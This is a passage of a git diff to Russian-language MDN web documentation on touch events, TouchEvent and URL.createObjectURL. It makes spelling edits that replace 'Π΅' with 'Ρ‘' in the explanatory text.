+<p>Она Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ {{domxref("event.preventDefault()")}} для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ события касания (это Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡΒ ΠΌΡ‹ΡˆΠΈ). Π—Π°Ρ‚Π΅ΠΌΒ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ контСкст ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ список ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ касаний ΠΈΠ· свойства {{domxref("TouchEvent.changedTouches")}} Π΄Π°Π½Π½ΠΎΠ³ΠΎ события.</p>
<p>ПослС этого мы ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅ΠΌ всС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{domxref("Touch")}} Π² спискС, помСщая ΠΈΡ… Π² массив Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ касания и рисуя Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ Π² Π²ΠΈΠ΄Π΅ малСнького ΠΊΡ€ΡƒΠΆΠΊΠ°;Β ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ линию Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½ΠΎΠΉ 4 пиксСля, поэтому получим аккуратный ΠΊΡ€ΡƒΠ³ радиусом 4 пиксСля.</p>
@@ -131,7 +131,7 @@ Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;</pre>
}
</pre>
-<p>Ѐункция Ρ‚Π°ΠΊΠΆΠ΅Β ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅Ρ‚Β ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ касания, ΠΈΡ‰Π΅Ρ‚ Π² нашСм массивС Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ касаниях ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ касании для опрСдСлСния Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚Ρ€Π΅Π·ΠΊΠ° Π»ΠΈΠ½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ нарисован с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ касания.Β Π­Ρ‚ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ отслСТивания свойства {{domxref("Touch.identifier")}} ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ касания. Π­Ρ‚ΠΎ свойство являСтся ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ числом для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ касания, ΠΈ остаСтся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ Π½Π° протяТСнии всСго Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π° ΠΏΠ°Π»ΡŒΡ†Π° с экраном.</p>
+<p>Ѐункция Ρ‚Π°ΠΊΠΆΠ΅Β ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅Ρ‚Β ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ касания, ΠΈΡ‰Π΅Ρ‚ Π² нашСм массивС Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ касаниях ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ касании для опрСдСлСния Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚Ρ€Π΅Π·ΠΊΠ° Π»ΠΈΠ½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ нарисован с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ касания.Β Π­Ρ‚ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ отслСТивания свойства {{domxref("Touch.identifier")}} ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ касания. Π­Ρ‚ΠΎ свойство являСтся ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ числом для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ касания, ΠΈ остаётся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ Π½Π° протяТСнии всСго Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π° ΠΏΠ°Π»ΡŒΡ†Π° с экраном.</p>
<p>Π­Ρ‚ΠΎ позволяСт Π½Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ касания ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΡΡ‰ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ "canvas-контСкста" для рисования ΠΎΡ‚Ρ€Π΅Π·ΠΊΠ°Β Π»ΠΈΠ½ΠΈΠΈ, ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‰Π΅Π³ΠΎΒ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ†.</p>
@@ -139,7 +139,7 @@ Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;</pre>
<h4 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ_касания">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ касания</h4>
-<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠ±ΠΈΡ€Π°Π΅Ρ‚ ΠΏΠ°Π»Π΅Ρ† с сСнсорной повСрхности, срабатываСт событиС {{domxref("Element/touchend_event", "touchend")}}. ΠœΡ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ Π΅Π³ΠΎ, вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>handleEnd()</code>, которая прСдставлСна Π½ΠΈΠΆΠ΅. Π•Π΅ Π·Π°Π΄Π°Ρ‡Π° - Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ послСдний ΠΎΡ‚Ρ€Π΅Π·ΠΎΠΊ Π»ΠΈΠ½ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ касания, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΎΡΡŒ, ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Ρ‚ΠΎΡ‡ΠΊΡƒ касания ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ списка касаний.</p>
+<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠ±ΠΈΡ€Π°Π΅Ρ‚ ΠΏΠ°Π»Π΅Ρ† с сСнсорной повСрхности, срабатываСт событиС {{domxref("Element/touchend_event", "touchend")}}. ΠœΡ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ Π΅Π³ΠΎ, вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>handleEnd()</code>, которая прСдставлСна Π½ΠΈΠΆΠ΅. Π•Ρ‘ Π·Π°Π΄Π°Ρ‡Π° - Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ послСдний ΠΎΡ‚Ρ€Π΅Π·ΠΎΠΊ Π»ΠΈΠ½ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ касания, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΎΡΡŒ, ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Ρ‚ΠΎΡ‡ΠΊΡƒ касания ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ списка касаний.</p>
<pre class="brush: js notranslate">function handleEnd(evt) {
Β  evt.preventDefault();
@@ -167,9 +167,9 @@ Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;</pre>
}
</pre>
-<p>Она ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ° Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ; Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΠΎΠ΅Β ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅Β Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ,Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒΒ ΠΌΡ‹ рисуСм малСнький ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ†, ΠΈ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ Β <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, ΠΌΡ‹ просто удаляСм ΡΡ‚Π°Ρ€ΡƒΡŽ запись из Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ списка касаний Π±Π΅Π· добавлСния ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΡ‹ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π°Π΅ΠΌ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ эту Ρ‚ΠΎΡ‡ΠΊΡƒ касания.</p>
+<p>Она ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ° Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ; Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΠΎΠ΅Β ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅Β Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ,Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒΒ ΠΌΡ‹ рисуСм малСнький ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ†, ΠΈ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ Β <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, ΠΌΡ‹ просто удаляСм ΡΡ‚Π°Ρ€ΡƒΡŽ запись из Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ списка касаний Π±Π΅Π· добавлСния ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΡ‹ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π°Π΅ΠΌ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ эту Ρ‚ΠΎΡ‡ΠΊΡƒ касания.</p>
-<h4 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ…_касаний">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ… касаний</h4>
+<h4 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ…_касаний">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ… касаний</h4>
<p>Если ΠΏΠ°Π»Π΅Ρ† ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ пСрСмСщаСтся Π² интСрфСйс Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° или прикосновСниС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ, отправляСтся событиС {{domxref("Element/touchcancel_event", "touchcancel")}}, ΠΈ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>handleCancel()</code>, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅.</p>
@@ -330,8 +330,8 @@ Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;</pre>
<h3 id="Firefox_события_касаний_ΠΈ_ΠΌΠ½ΠΎΠ³ΠΎΠΏΡ€ΠΎΡ†Π΅ΡΡΠ½ΠΎΡΡ‚ΡŒ_e10s">Firefox, события касаний ΠΈΒ ΠΌΠ½ΠΎΠ³ΠΎΠΏΡ€ΠΎΡ†Π΅ΡΡΠ½ΠΎΡΡ‚ΡŒ (e10s)</h3>
-<p>Π’ Firefox события касания ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ e10s (элСктролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцСссорный Firefox</a>). e10s Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Firefox, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ситуациях, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° установлСны ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ инструмСнты ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй ΠΈΠ»ΠΈ надстройки Firefox, для Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… трСбуСтся ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ e10s. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Π½Π° Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ / Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠ΅ с сСнсорным экраном сСнсорныС события Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹.</p>
+<p>Π’ Firefox события касания ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ e10s (элСктролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцСссорный Firefox</a>). e10s Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Firefox, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ситуациях, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° установлСны ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ инструмСнты ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй ΠΈΠ»ΠΈ надстройки Firefox, для Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… трСбуСтся ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ e10s. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Π½Π° Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ / Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠ΅ с сСнсорным экраном сСнсорныС события Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ e10s, пСрСйдя Π² <code>about:support</code> ΠΈ посмотрСв Π½Π° запись Β«ΠœΠ½ΠΎΠ³ΠΎΠΏΡ€ΠΎΡ†Π΅ΡΡΠΎΡ€Π½Π°Ρ WindowsΒ» Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Β«ΠžΡΠ½ΠΎΠ²Ρ‹ прилоТСния». 1/1 ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, 0/1 ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ e10s, пСрСйдя Π² <code>about:support</code> ΠΈ посмотрСв Π½Π° запись Β«ΠœΠ½ΠΎΠ³ΠΎΠΏΡ€ΠΎΡ†Π΅ΡΡΠΎΡ€Π½Π°Ρ WindowsΒ» Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Β«ΠžΡΠ½ΠΎΠ²Ρ‹ прилоТСния». 1/1 ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, 0/1 ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½.</p>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ e10s - Ρ‡Ρ‚ΠΎΠ±Ρ‹ явно ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ сСнсорных событий - Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ <code>about:config</code> ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ логичСскоС ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ <code>browser.tabs.remote.force-enable</code>. УстановитС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>, пСрСзапуститС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΈ e10s Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ нСзависимо ΠΎΡ‚ Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… настроСк.</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ e10s - Ρ‡Ρ‚ΠΎΠ±Ρ‹ явно ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ сСнсорных событий - Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ <code>about:config</code> ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ логичСскоС ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ <code>browser.tabs.remote.force-enable</code>. УстановитС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>, пСрСзапуститС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΈ e10s Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ нСзависимо ΠΎΡ‚ Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… настроСк.</p>
diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html
index 2f5fa25eee..d141c8daa5 100644
--- a/files/ru/web/api/touchevent/index.html
+++ b/files/ru/web/api/touchevent/index.html
@@ -23,7 +23,7 @@ translation_of: Web/API/TouchEvent
<dl>
<dt>{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ экзСмпляр <code>TouchEvent</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ экзСмпляр <code>TouchEvent</code>.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
@@ -65,7 +65,7 @@ translation_of: Web/API/TouchEvent
<p>ЦСль события - Ρ‚ΠΎΡ‚ ΠΆΠ΅ экзСмпляр {{ domxref("Element") }}, Ρ‡Ρ‚ΠΎ ΠΈ для события <code>touchstart</code> с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ касания, Π΄Π°ΠΆΠ΅ Ссли Ρ‚ΠΎΡ‡ΠΊΠ° касания ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΠ»Π°ΡΡŒ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ элСмСнта.</p>
-<p>Π’ΠΎΡ‡ΠΊΠΈ касания, ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ с повСрхности, содСрТатся Π² спискС {{ domxref("TouchList") }}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>changedTouches</code> события.</p>
+<p>Π’ΠΎΡ‡ΠΊΠΈ касания, ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ с повСрхности, содСрТатся Π² спискС {{ domxref("TouchList") }}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>changedTouches</code> события.</p>
<h3 id="domxrefElementtouchmove_event_touchmove">{{domxref("Element/touchmove_event", "touchmove")}}</h3>
diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html
index bff6b425d5..01201cc4b0 100644
--- a/files/ru/web/api/url/createobjecturl/index.html
+++ b/files/ru/web/api/url/createobjecturl/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/URL/createObjectURL
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅</h2>
